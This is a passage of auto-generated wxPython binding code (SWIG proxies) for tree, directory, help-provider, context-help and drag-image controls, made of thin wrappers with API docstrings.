"""EndEditLabel(self, TreeItemId item, bool discardChanges=False)"""
return _controls_.TreeCtrl_EndEditLabel(*args, **kwargs)
def SortChildren(*args, **kwargs):
"""SortChildren(self, TreeItemId item)"""
return _controls_.TreeCtrl_SortChildren(*args, **kwargs)
def HitTest(*args, **kwargs):
"""
HitTest(Point point) -> (item, where)
Determine which item (if any) belongs the given point. The coordinates
specified are relative to the client area of tree ctrl and the where return
value is set to a bitmask of wxTREE_HITTEST_xxx constants.
"""
return _controls_.TreeCtrl_HitTest(*args, **kwargs)
def GetBoundingRect(*args, **kwargs):
"""GetBoundingRect(self, TreeItemId item, bool textOnly=False) -> PyObject"""
return _controls_.TreeCtrl_GetBoundingRect(*args, **kwargs)
def SetState(*args, **kwargs):
"""SetState(self, TreeItemId node, int state)"""
return _controls_.TreeCtrl_SetState(*args, **kwargs)
def GetState(*args, **kwargs):
"""GetState(self, TreeItemId node) -> int"""
return _controls_.TreeCtrl_GetState(*args, **kwargs)
def GetClassDefaultAttributes(*args, **kwargs):
"""
GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.TreeCtrl_GetClassDefaultAttributes(*args, **kwargs)
GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)
def SetQuickBestSize(*args, **kwargs):
"""SetQuickBestSize(self, bool q)"""
return _controls_.TreeCtrl_SetQuickBestSize(*args, **kwargs)
def GetQuickBestSize(*args, **kwargs):
"""GetQuickBestSize(self) -> bool"""
return _controls_.TreeCtrl_GetQuickBestSize(*args, **kwargs)
Count = property(GetCount,doc="See `GetCount`")
EditControl = property(GetEditControl,doc="See `GetEditControl`")
FirstVisibleItem = property(GetFirstVisibleItem,doc="See `GetFirstVisibleItem`")
ImageList = property(GetImageList,SetImageList,doc="See `GetImageList` and `SetImageList`")
Indent = property(GetIndent,SetIndent,doc="See `GetIndent` and `SetIndent`")
QuickBestSize = property(GetQuickBestSize,SetQuickBestSize,doc="See `GetQuickBestSize` and `SetQuickBestSize`")
RootItem = property(GetRootItem,doc="See `GetRootItem`")
Selection = property(GetSelection,doc="See `GetSelection`")
Selections = property(GetSelections,doc="See `GetSelections`")
Spacing = property(GetSpacing,SetSpacing,doc="See `GetSpacing` and `SetSpacing`")
StateImageList = property(GetStateImageList,SetStateImageList,doc="See `GetStateImageList` and `SetStateImageList`")
_controls_.TreeCtrl_swigregister(TreeCtrl)
def PreTreeCtrl(*args, **kwargs):
"""PreTreeCtrl() -> TreeCtrl"""
val = _controls_.new_PreTreeCtrl(*args, **kwargs)
return val
def TreeCtrl_GetClassDefaultAttributes(*args, **kwargs):
"""
TreeCtrl_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.TreeCtrl_GetClassDefaultAttributes(*args, **kwargs)
#---------------------------------------------------------------------------
DIRCTRL_DIR_ONLY = _controls_.DIRCTRL_DIR_ONLY
DIRCTRL_SELECT_FIRST = _controls_.DIRCTRL_SELECT_FIRST
DIRCTRL_SHOW_FILTERS = _controls_.DIRCTRL_SHOW_FILTERS
DIRCTRL_3D_INTERNAL = _controls_.DIRCTRL_3D_INTERNAL
DIRCTRL_EDIT_LABELS = _controls_.DIRCTRL_EDIT_LABELS
class DirItemData(_core.Object):
"""Proxy of C++ DirItemData class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self): raise AttributeError, "No constructor defined"
__repr__ = _swig_repr
def SetNewDirName(*args, **kwargs):
"""SetNewDirName(self, String path)"""
return _controls_.DirItemData_SetNewDirName(*args, **kwargs)
m_path = property(_controls_.DirItemData_m_path_get, _controls_.DirItemData_m_path_set)
m_name = property(_controls_.DirItemData_m_name_get, _controls_.DirItemData_m_name_set)
m_isHidden = property(_controls_.DirItemData_m_isHidden_get, _controls_.DirItemData_m_isHidden_set)
m_isExpanded = property(_controls_.DirItemData_m_isExpanded_get, _controls_.DirItemData_m_isExpanded_set)
m_isDir = property(_controls_.DirItemData_m_isDir_get, _controls_.DirItemData_m_isDir_set)
_controls_.DirItemData_swigregister(DirItemData)
DirDialogDefaultFolderStr = cvar.DirDialogDefaultFolderStr
class GenericDirCtrl(_core.Control):
"""Proxy of C++ GenericDirCtrl class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, String dir=DirDialogDefaultFolderStr,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=wxDIRCTRL_3D_INTERNAL|wxSUNKEN_BORDER,
String filter=EmptyString,
int defaultFilter=0, String name=TreeCtrlNameStr) -> GenericDirCtrl
"""
_controls_.GenericDirCtrl_swiginit(self,_controls_.new_GenericDirCtrl(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, String dir=DirDialogDefaultFolderStr,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=wxDIRCTRL_3D_INTERNAL|wxSUNKEN_BORDER,
String filter=EmptyString,
int defaultFilter=0, String name=TreeCtrlNameStr) -> bool
"""
return _controls_.GenericDirCtrl_Create(*args, **kwargs)
def ExpandPath(*args, **kwargs):
"""ExpandPath(self, String path) -> bool"""
return _controls_.GenericDirCtrl_ExpandPath(*args, **kwargs)
def CollapsePath(*args, **kwargs):
"""CollapsePath(self, String path) -> bool"""
return _controls_.GenericDirCtrl_CollapsePath(*args, **kwargs)
def GetDefaultPath(*args, **kwargs):
"""GetDefaultPath(self) -> String"""
return _controls_.GenericDirCtrl_GetDefaultPath(*args, **kwargs)
def SetDefaultPath(*args, **kwargs):
"""SetDefaultPath(self, String path)"""
return _controls_.GenericDirCtrl_SetDefaultPath(*args, **kwargs)
def GetPath(*args, **kwargs):
"""GetPath(self) -> String"""
return _controls_.GenericDirCtrl_GetPath(*args, **kwargs)
def GetFilePath(*args, **kwargs):
"""GetFilePath(self) -> String"""
return _controls_.GenericDirCtrl_GetFilePath(*args, **kwargs)
def SetPath(*args, **kwargs):
"""SetPath(self, String path)"""
return _controls_.GenericDirCtrl_SetPath(*args, **kwargs)
def ShowHidden(*args, **kwargs):
"""ShowHidden(self, bool show)"""
return _controls_.GenericDirCtrl_ShowHidden(*args, **kwargs)
def GetShowHidden(*args, **kwargs):
"""GetShowHidden(self) -> bool"""
return _controls_.GenericDirCtrl_GetShowHidden(*args, **kwargs)
def GetFilter(*args, **kwargs):
"""GetFilter(self) -> String"""
return _controls_.GenericDirCtrl_GetFilter(*args, **kwargs)
def SetFilter(*args, **kwargs):
"""SetFilter(self, String filter)"""
return _controls_.GenericDirCtrl_SetFilter(*args, **kwargs)
def GetFilterIndex(*args, **kwargs):
"""GetFilterIndex(self) -> int"""
return _controls_.GenericDirCtrl_GetFilterIndex(*args, **kwargs)
def SetFilterIndex(*args, **kwargs):
"""SetFilterIndex(self, int n)"""
return _controls_.GenericDirCtrl_SetFilterIndex(*args, **kwargs)
def GetRootId(*args, **kwargs):
"""GetRootId(self) -> TreeItemId"""
return _controls_.GenericDirCtrl_GetRootId(*args, **kwargs)
def GetTreeCtrl(*args, **kwargs):
"""GetTreeCtrl(self) -> TreeCtrl"""
return _controls_.GenericDirCtrl_GetTreeCtrl(*args, **kwargs)
def GetFilterListCtrl(*args, **kwargs):
"""GetFilterListCtrl(self) -> DirFilterListCtrl"""
return _controls_.GenericDirCtrl_GetFilterListCtrl(*args, **kwargs)
def GetDirItemData(*args, **kwargs):
"""GetDirItemData(self, TreeItemId id) -> DirItemData"""
return _controls_.GenericDirCtrl_GetDirItemData(*args, **kwargs)
def FindChild(*args, **kwargs):
"""
FindChild(wxTreeItemId parentId, wxString path) -> (item, done)
Find the child that matches the first part of 'path'. E.g. if a child
path is "/usr" and 'path' is "/usr/include" then the child for
/usr is returned. If the path string has been used (we're at the
leaf), done is set to True.
"""
return _controls_.GenericDirCtrl_FindChild(*args, **kwargs)
def DoResize(*args, **kwargs):
"""DoResize(self)"""
return _controls_.GenericDirCtrl_DoResize(*args, **kwargs)
def ReCreateTree(*args, **kwargs):
"""ReCreateTree(self)"""
return _controls_.GenericDirCtrl_ReCreateTree(*args, **kwargs)
DefaultPath = property(GetDefaultPath,SetDefaultPath,doc="See `GetDefaultPath` and `SetDefaultPath`")
FilePath = property(GetFilePath,doc="See `GetFilePath`")
Filter = property(GetFilter,SetFilter,doc="See `GetFilter` and `SetFilter`")
FilterIndex = property(GetFilterIndex,SetFilterIndex,doc="See `GetFilterIndex` and `SetFilterIndex`")
FilterListCtrl = property(GetFilterListCtrl,doc="See `GetFilterListCtrl`")
Path = property(GetPath,SetPath,doc="See `GetPath` and `SetPath`")
RootId = property(GetRootId,doc="See `GetRootId`")
TreeCtrl = property(GetTreeCtrl,doc="See `GetTreeCtrl`")
_controls_.GenericDirCtrl_swigregister(GenericDirCtrl)
def PreGenericDirCtrl(*args, **kwargs):
"""PreGenericDirCtrl() -> GenericDirCtrl"""
val = _controls_.new_PreGenericDirCtrl(*args, **kwargs)
return val
class DirFilterListCtrl(Choice):
"""Proxy of C++ DirFilterListCtrl class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, GenericDirCtrl parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, long style=0) -> DirFilterListCtrl
"""
_controls_.DirFilterListCtrl_swiginit(self,_controls_.new_DirFilterListCtrl(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, GenericDirCtrl parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, long style=0) -> bool
"""
return _controls_.DirFilterListCtrl_Create(*args, **kwargs)
def FillFilterList(*args, **kwargs):
"""FillFilterList(self, String filter, int defaultFilter)"""
return _controls_.DirFilterListCtrl_FillFilterList(*args, **kwargs)
_controls_.DirFilterListCtrl_swigregister(DirFilterListCtrl)
def PreDirFilterListCtrl(*args, **kwargs):
"""PreDirFilterListCtrl() -> DirFilterListCtrl"""
val = _controls_.new_PreDirFilterListCtrl(*args, **kwargs)
return val
#---------------------------------------------------------------------------
class PyControl(_core.Control):
"""Proxy of C++ PyControl class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, long style=0, Validator validator=DefaultValidator,
String name=ControlNameStr) -> PyControl
"""
_controls_.PyControl_swiginit(self,_controls_.new_PyControl(*args, **kwargs))
self._setOORInfo(self);PyControl._setCallbackInfo(self, self, PyControl)
def _setCallbackInfo(*args, **kwargs):
"""_setCallbackInfo(self, PyObject self, PyObject _class)"""
return _controls_.PyControl__setCallbackInfo(*args, **kwargs)
SetBestSize = wx.Window.SetInitialSize
def DoEraseBackground(*args, **kwargs):
"""DoEraseBackground(self, DC dc) -> bool"""
return _controls_.PyControl_DoEraseBackground(*args, **kwargs)
def DoMoveWindow(*args, **kwargs):
"""DoMoveWindow(self, int x, int y, int width, int height)"""
return _controls_.PyControl_DoMoveWindow(*args, **kwargs)
def DoSetSize(*args, **kwargs):
"""DoSetSize(self, int x, int y, int width, int height, int sizeFlags=SIZE_AUTO)"""
return _controls_.PyControl_DoSetSize(*args, **kwargs)
def DoSetClientSize(*args, **kwargs):
"""DoSetClientSize(self, int width, int height)"""
return _controls_.PyControl_DoSetClientSize(*args, **kwargs)
def DoSetVirtualSize(*args, **kwargs):
"""DoSetVirtualSize(self, int x, int y)"""
return _controls_.PyControl_DoSetVirtualSize(*args, **kwargs)
def DoGetSize(*args, **kwargs):
"""DoGetSize() -> (width, height)"""
return _controls_.PyControl_DoGetSize(*args, **kwargs)
def DoGetClientSize(*args, **kwargs):
"""DoGetClientSize() -> (width, height)"""
return _controls_.PyControl_DoGetClientSize(*args, **kwargs)
def DoGetPosition(*args, **kwargs):
"""DoGetPosition() -> (x,y)"""
return _controls_.PyControl_DoGetPosition(*args, **kwargs)
def DoGetVirtualSize(*args, **kwargs):
"""DoGetVirtualSize(self) -> Size"""
return _controls_.PyControl_DoGetVirtualSize(*args, **kwargs)
def DoGetBestSize(*args, **kwargs):
"""DoGetBestSize(self) -> Size"""
return _controls_.PyControl_DoGetBestSize(*args, **kwargs)
def GetDefaultAttributes(*args, **kwargs):
"""GetDefaultAttributes(self) -> VisualAttributes"""
return _controls_.PyControl_GetDefaultAttributes(*args, **kwargs)
def OnInternalIdle(*args, **kwargs):
"""OnInternalIdle(self)"""
return _controls_.PyControl_OnInternalIdle(*args, **kwargs)
def base_DoMoveWindow(*args, **kw):
return PyControl.DoMoveWindow(*args, **kw)
base_DoMoveWindow = wx._deprecated(base_DoMoveWindow,
"Please use PyControl.DoMoveWindow instead.")
def base_DoSetSize(*args, **kw):
return PyControl.DoSetSize(*args, **kw)
base_DoSetSize = wx._deprecated(base_DoSetSize,
"Please use PyControl.DoSetSize instead.")
def base_DoSetClientSize(*args, **kw):
return PyControl.DoSetClientSize(*args, **kw)
base_DoSetClientSize = wx._deprecated(base_DoSetClientSize,
"Please use PyControl.DoSetClientSize instead.")
def base_DoSetVirtualSize(*args, **kw):
return PyControl.DoSetVirtualSize(*args, **kw)
base_DoSetVirtualSize = wx._deprecated(base_DoSetVirtualSize,
"Please use PyControl.DoSetVirtualSize instead.")
def base_DoGetSize(*args, **kw):
return PyControl.DoGetSize(*args, **kw)
base_DoGetSize = wx._deprecated(base_DoGetSize,
"Please use PyControl.DoGetSize instead.")
def base_DoGetClientSize(*args, **kw):
return PyControl.DoGetClientSize(*args, **kw)
base_DoGetClientSize = wx._deprecated(base_DoGetClientSize,
"Please use PyControl.DoGetClientSize instead.")
def base_DoGetPosition(*args, **kw):
return PyControl.DoGetPosition(*args, **kw)
base_DoGetPosition = wx._deprecated(base_DoGetPosition,
"Please use PyControl.DoGetPosition instead.")
def base_DoGetVirtualSize(*args, **kw):
return PyControl.DoGetVirtualSize(*args, **kw)
base_DoGetVirtualSize = wx._deprecated(base_DoGetVirtualSize,
"Please use PyControl.DoGetVirtualSize instead.")
def base_DoGetBestSize(*args, **kw):
return PyControl.DoGetBestSize(*args, **kw)
base_DoGetBestSize = wx._deprecated(base_DoGetBestSize,
"Please use PyControl.DoGetBestSize instead.")
def base_InitDialog(*args, **kw):
return PyControl.InitDialog(*args, **kw)
base_InitDialog = wx._deprecated(base_InitDialog,
"Please use PyControl.InitDialog instead.")
def base_TransferDataToWindow(*args, **kw):
return PyControl.TransferDataToWindow(*args, **kw)
base_TransferDataToWindow = wx._deprecated(base_TransferDataToWindow,
"Please use PyControl.TransferDataToWindow instead.")
def base_TransferDataFromWindow(*args, **kw):
return PyControl.TransferDataFromWindow(*args, **kw)
base_TransferDataFromWindow = wx._deprecated(base_TransferDataFromWindow,
"Please use PyControl.TransferDataFromWindow instead.")
def base_Validate(*args, **kw):
return PyControl.Validate(*args, **kw)
base_Validate = wx._deprecated(base_Validate,
"Please use PyControl.Validate instead.")
def base_AcceptsFocus(*args, **kw):
return PyControl.AcceptsFocus(*args, **kw)
base_AcceptsFocus = wx._deprecated(base_AcceptsFocus,
"Please use PyControl.AcceptsFocus instead.")
def base_AcceptsFocusFromKeyboard(*args, **kw):
return PyControl.AcceptsFocusFromKeyboard(*args, **kw)
base_AcceptsFocusFromKeyboard = wx._deprecated(base_AcceptsFocusFromKeyboard,
"Please use PyControl.AcceptsFocusFromKeyboard instead.")
def base_GetMaxSize(*args, **kw):
return PyControl.GetMaxSize(*args, **kw)
base_GetMaxSize = wx._deprecated(base_GetMaxSize,
"Please use PyControl.GetMaxSize instead.")
def base_Enable(*args, **kw):
return PyControl.Enable(*args, **kw)
base_Enable = wx._deprecated(base_Enable,
"Please use PyControl.Enable instead.")
def base_AddChild(*args, **kw):
return PyControl.AddChild(*args, **kw)
base_AddChild = wx._deprecated(base_AddChild,
"Please use PyControl.AddChild instead.")
def base_RemoveChild(*args, **kw):
return PyControl.RemoveChild(*args, **kw)
base_RemoveChild = wx._deprecated(base_RemoveChild,
"Please use PyControl.RemoveChild instead.")
def base_ShouldInheritColours(*args, **kw):
return PyControl.ShouldInheritColours(*args, **kw)
base_ShouldInheritColours = wx._deprecated(base_ShouldInheritColours,
"Please use PyControl.ShouldInheritColours instead.")
def base_GetDefaultAttributes(*args, **kw):
return PyControl.GetDefaultAttributes(*args, **kw)
base_GetDefaultAttributes = wx._deprecated(base_GetDefaultAttributes,
"Please use PyControl.GetDefaultAttributes instead.")
def base_OnInternalIdle(*args, **kw):
return PyControl.OnInternalIdle(*args, **kw)
base_OnInternalIdle = wx._deprecated(base_OnInternalIdle,
"Please use PyControl.OnInternalIdle instead.")
_controls_.PyControl_swigregister(PyControl)
def PrePyControl(*args, **kwargs):
"""PrePyControl() -> PyControl"""
val = _controls_.new_PrePyControl(*args, **kwargs)
return val
#---------------------------------------------------------------------------
wxEVT_HELP = _controls_.wxEVT_HELP
wxEVT_DETAILED_HELP = _controls_.wxEVT_DETAILED_HELP
EVT_HELP = wx.PyEventBinder( wxEVT_HELP, 1)
EVT_HELP_RANGE = wx.PyEventBinder( wxEVT_HELP, 2)
EVT_DETAILED_HELP = wx.PyEventBinder( wxEVT_DETAILED_HELP, 1)
EVT_DETAILED_HELP_RANGE = wx.PyEventBinder( wxEVT_DETAILED_HELP, 2)
class HelpEvent(_core.CommandEvent):
"""
A help event is sent when the user has requested context-sensitive
help. This can either be caused by the application requesting
context-sensitive help mode via wx.ContextHelp, or (on MS Windows) by
the system generating a WM_HELP message when the user pressed F1 or
clicked on the query button in a dialog caption.
A help event is sent to the window that the user clicked on, and is
propagated up the window hierarchy until the event is processed or
there are no more event handlers. The application should call
event.GetId to check the identity of the clicked-on window, and then
either show some suitable help or call event.Skip if the identifier is
unrecognised. Calling Skip is important because it allows wxWindows to
generate further events for ancestors of the clicked-on
window. Otherwise it would be impossible to show help for container
windows, since processing would stop after the first window found.
"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
Origin_Unknown = _controls_.HelpEvent_Origin_Unknown
Origin_Keyboard = _controls_.HelpEvent_Origin_Keyboard
Origin_HelpButton = _controls_.HelpEvent_Origin_HelpButton
def __init__(self, *args, **kwargs):
"""
__init__(self, EventType type=wxEVT_NULL, int winid=0, Point pt=DefaultPosition,
int origin=Origin_Unknown) -> HelpEvent
"""
_controls_.HelpEvent_swiginit(self,_controls_.new_HelpEvent(*args, **kwargs))
def GetPosition(*args, **kwargs):
"""
GetPosition(self) -> Point
Returns the left-click position of the mouse, in screen
coordinates. This allows the application to position the help
appropriately.
"""
return _controls_.HelpEvent_GetPosition(*args, **kwargs)
def SetPosition(*args, **kwargs):
"""
SetPosition(self, Point pos)
Sets the left-click position of the mouse, in screen coordinates.
"""
return _controls_.HelpEvent_SetPosition(*args, **kwargs)
def GetLink(*args, **kwargs):
"""
GetLink(self) -> String
Get an optional link to further help
"""
return _controls_.HelpEvent_GetLink(*args, **kwargs)
def SetLink(*args, **kwargs):
"""
SetLink(self, String link)
Set an optional link to further help
"""
return _controls_.HelpEvent_SetLink(*args, **kwargs)
def GetTarget(*args, **kwargs):
"""
GetTarget(self) -> String
Get an optional target to display help in. E.g. a window specification
"""
return _controls_.HelpEvent_GetTarget(*args, **kwargs)
def SetTarget(*args, **kwargs):
"""
SetTarget(self, String target)
Set an optional target to display help in. E.g. a window specification
"""
return _controls_.HelpEvent_SetTarget(*args, **kwargs)
def GetOrigin(*args, **kwargs):
"""
GetOrigin(self) -> int
Optiononal indication of the source of the event.
"""
return _controls_.HelpEvent_GetOrigin(*args, **kwargs)
def SetOrigin(*args, **kwargs):
"""SetOrigin(self, int origin)"""
return _controls_.HelpEvent_SetOrigin(*args, **kwargs)
Link = property(GetLink,SetLink,doc="See `GetLink` and `SetLink`")
Origin = property(GetOrigin,SetOrigin,doc="See `GetOrigin` and `SetOrigin`")
Position = property(GetPosition,SetPosition,doc="See `GetPosition` and `SetPosition`")
Target = property(GetTarget,SetTarget,doc="See `GetTarget` and `SetTarget`")
_controls_.HelpEvent_swigregister(HelpEvent)
class ContextHelp(_core.Object):
"""
This class changes the cursor to a query and puts the application into
a 'context-sensitive help mode'. When the user left-clicks on a window
within the specified window, a ``EVT_HELP`` event is sent to that
control, and the application may respond to it by popping up some
help.
There are a couple of ways to invoke this behaviour implicitly:
* Use the wx.WS_EX_CONTEXTHELP extended style for a dialog or frame
(Windows only). This will put a question mark in the titlebar,
and Windows will put the application into context-sensitive help
mode automatically, with further programming.
* Create a `wx.ContextHelpButton`, whose predefined behaviour is
to create a context help object. Normally you will write your
application so that this button is only added to a dialog for
non-Windows platforms (use ``wx.WS_EX_CONTEXTHELP`` on
Windows).
:see: `wx.ContextHelpButton`
"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window window=None, bool doNow=True) -> ContextHelp
Constructs a context help object, calling BeginContextHelp if doNow is
true (the default).
If window is None, the top window is used.
"""
_controls_.ContextHelp_swiginit(self,_controls_.new_ContextHelp(*args, **kwargs))
__swig_destroy__ = _controls_.delete_ContextHelp
__del__ = lambda self : None;
def BeginContextHelp(*args, **kwargs):
"""
BeginContextHelp(self, Window window=None) -> bool
Puts the application into context-sensitive help mode. window is the
window which will be used to catch events; if NULL, the top window
will be used.
Returns true if the application was successfully put into
context-sensitive help mode. This function only returns when the event
loop has finished.
"""
return _controls_.ContextHelp_BeginContextHelp(*args, **kwargs)
def EndContextHelp(*args, **kwargs):
"""
EndContextHelp(self) -> bool
Ends context-sensitive help mode. Not normally called by the
application.
"""
return _controls_.ContextHelp_EndContextHelp(*args, **kwargs)
_controls_.ContextHelp_swigregister(ContextHelp)
class ContextHelpButton(BitmapButton):
"""
Instances of this class may be used to add a question mark button that
when pressed, puts the application into context-help mode. It does
this by creating a wx.ContextHelp object which itself generates a
``EVT_HELP`` event when the user clicks on a window.
On Windows, you may add a question-mark icon to a dialog by use of the
``wx.DIALOG_EX_CONTEXTHELP`` extra style, but on other platforms you
will have to add a button explicitly, usually next to OK, Cancel or
similar buttons.
:see: `wx.ContextHelp`, `wx.ContextHelpButton`
"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=ID_CONTEXT_HELP, Point pos=DefaultPosition,
Size size=DefaultSize, long style=BU_AUTODRAW) -> ContextHelpButton
Constructor, creating and showing a context help button.
"""
_controls_.ContextHelpButton_swiginit(self,_controls_.new_ContextHelpButton(*args, **kwargs))
self._setOORInfo(self)
_controls_.ContextHelpButton_swigregister(ContextHelpButton)
class HelpProvider(object):
"""
wx.HelpProvider is an abstract class used by a program
implementing context-sensitive help to show the help text for the
given window.
The current help provider must be explicitly set by the
application using wx.HelpProvider.Set().
"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self): raise AttributeError, "No constructor defined"
__repr__ = _swig_repr
__swig_destroy__ = _controls_.delete_HelpProvider
__del__ = lambda self : None;
def Set(*args, **kwargs):
"""
Set(HelpProvider helpProvider) -> HelpProvider
Sset the current, application-wide help provider. Returns the previous
one. Unlike some other classes, the help provider is not created on
demand. This must be explicitly done by the application.
"""
return _controls_.HelpProvider_Set(*args, **kwargs)
Set = staticmethod(Set)
def Get(*args, **kwargs):
"""
Get() -> HelpProvider
Return the current application-wide help provider.
"""
return _controls_.HelpProvider_Get(*args, **kwargs)
Get = staticmethod(Get)
def GetHelp(*args, **kwargs):
"""
GetHelp(self, Window window) -> String
Gets the help string for this window. Its interpretation is dependent
on the help provider except that empty string always means that no
help is associated with the window.
"""
return _controls_.HelpProvider_GetHelp(*args, **kwargs)
def ShowHelp(*args, **kwargs):
"""
ShowHelp(self, Window window) -> bool
Shows help for the given window. Uses GetHelp internally if
applicable. Returns True if it was done, or False if no help was
available for this window.
"""
return _controls_.HelpProvider_ShowHelp(*args, **kwargs)
def ShowHelpAtPoint(*args, **kwargs):
"""
ShowHelpAtPoint(self, wxWindowBase window, Point pt, int origin) -> bool
Show help for the given window (uses window.GetHelpAtPoint()
internally if applicable), return true if it was done or false if no
help available for this window.
"""
return _controls_.HelpProvider_ShowHelpAtPoint(*args, **kwargs)
def AddHelp(*args, **kwargs):
"""
AddHelp(self, Window window, String text)
Associates the text with the given window.
"""
return _controls_.HelpProvider_AddHelp(*args, **kwargs)
def AddHelpById(*args, **kwargs):
"""
AddHelpById(self, int id, String text)
This version associates the given text with all windows with this
id. May be used to set the same help string for all Cancel buttons in
the application, for example.
"""
return _controls_.HelpProvider_AddHelpById(*args, **kwargs)
def RemoveHelp(*args, **kwargs):
"""
RemoveHelp(self, Window window)
Removes the association between the window pointer and the help
text. This is called by the wx.Window destructor. Without this, the
table of help strings will fill up and when window pointers are
reused, the wrong help string will be found.
"""
return _controls_.HelpProvider_RemoveHelp(*args, **kwargs)
def Destroy(*args, **kwargs):
"""Destroy(self)"""
args[0].this.own(False)
return _controls_.HelpProvider_Destroy(*args, **kwargs)
_controls_.HelpProvider_swigregister(HelpProvider)
def HelpProvider_Set(*args, **kwargs):
"""
HelpProvider_Set(HelpProvider helpProvider) -> HelpProvider
Sset the current, application-wide help provider. Returns the previous
one. Unlike some other classes, the help provider is not created on
demand. This must be explicitly done by the application.
"""
return _controls_.HelpProvider_Set(*args, **kwargs)
def HelpProvider_Get(*args):
"""
HelpProvider_Get() -> HelpProvider
Return the current application-wide help provider.
"""
return _controls_.HelpProvider_Get(*args)
class SimpleHelpProvider(HelpProvider):
"""
wx.SimpleHelpProvider is an implementation of `wx.HelpProvider` which
supports only plain text help strings, and shows the string associated
with the control (if any) in a tooltip.
"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self) -> SimpleHelpProvider
wx.SimpleHelpProvider is an implementation of `wx.HelpProvider` which
supports only plain text help strings, and shows the string associated
with the control (if any) in a tooltip.
"""
_controls_.SimpleHelpProvider_swiginit(self,_controls_.new_SimpleHelpProvider(*args, **kwargs))
_controls_.SimpleHelpProvider_swigregister(SimpleHelpProvider)
#---------------------------------------------------------------------------
class DragImage(_core.Object):
"""Proxy of C++ DragImage class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""__init__(self, Bitmap image, Cursor cursor=wxNullCursor) -> DragImage"""
_controls_.DragImage_swiginit(self,_controls_.new_DragImage(*args, **kwargs))
__swig_destroy__ = _controls_.delete_DragImage
__del__ = lambda self : None;
def SetBackingBitmap(*args, **kwargs):
"""SetBackingBitmap(self, Bitmap bitmap)"""
return _controls_.DragImage_SetBackingBitmap(*args, **kwargs)
def BeginDrag(*args, **kwargs):
"""
BeginDrag(self, Point hotspot, Window window, bool fullScreen=False,
Rect rect=None) -> bool
"""
return _controls_.DragImage_BeginDrag(*args, **kwargs)
def BeginDragBounded(*args, **kwargs):
"""BeginDragBounded(self, Point hotspot, Window window, Window boundingWindow) -> bool"""
return _controls_.DragImage_BeginDragBounded(*args, **kwargs)
def EndDrag(*args, **kwargs):
"""EndDrag(self) -> bool"""
return _controls_.DragImage_EndDrag(*args, **kwargs)
def Move(*args, **kwargs):
"""Move(self, Point pt) -> bool"""
return _controls_.DragImage_Move(*args, **kwargs)
def Show(*args, **kwargs):
"""Show(self) -> bool"""
return _controls_.DragImage_Show(*args, **kwargs)
def Hide(*args, **kwargs):
"""Hide(self) -> bool"""
return _controls_.DragImage_Hide(*args, **kwargs)
def GetImageRect(*args, **kwargs):
"""GetImageRect(self, Point pos) -> Rect"""
return _controls_.DragImage_GetImageRect(*args, **kwargs)
def DoDrawImage(*args, **kwargs):
"""DoDrawImage(self, DC dc, Point pos) -> bool"""
return _controls_.DragImage_DoDrawImage(*args, **kwargs)
def UpdateBackingFromWindow(*args, **kwargs):
"""UpdateBackingFromWindow(self, DC windowDC, MemoryDC destDC, Rect sourceRect, Rect destRect) -> bool"""
return _controls_.DragImage_UpdateBackingFromWindow(*args, **kwargs)
def RedrawImage(*args, **kwargs):
"""RedrawImage(self, Point oldPos, Point newPos, bool eraseOld, bool drawNew) -> bool"""
return _controls_.DragImage_RedrawImage(*args, **kwargs)
ImageRect = property(GetImageRect,doc="See `GetImageRect`")
_controls_.DragImage_swigregister(DragImage)
def DragIcon(*args, **kwargs):
"""DragIcon(Icon image, Cursor cursor=wxNullCursor) -> DragImage"""
val = _controls_.new_DragIcon(*args, **kwargs)
return val
def DragString(*args, **kwargs):
"""DragString(String str, Cursor cursor=wxNullCursor) -> DragImage"""
val = _controls_.new_DragString(*args, **kwargs)
return val
def DragTreeItem(*args, **kwargs):
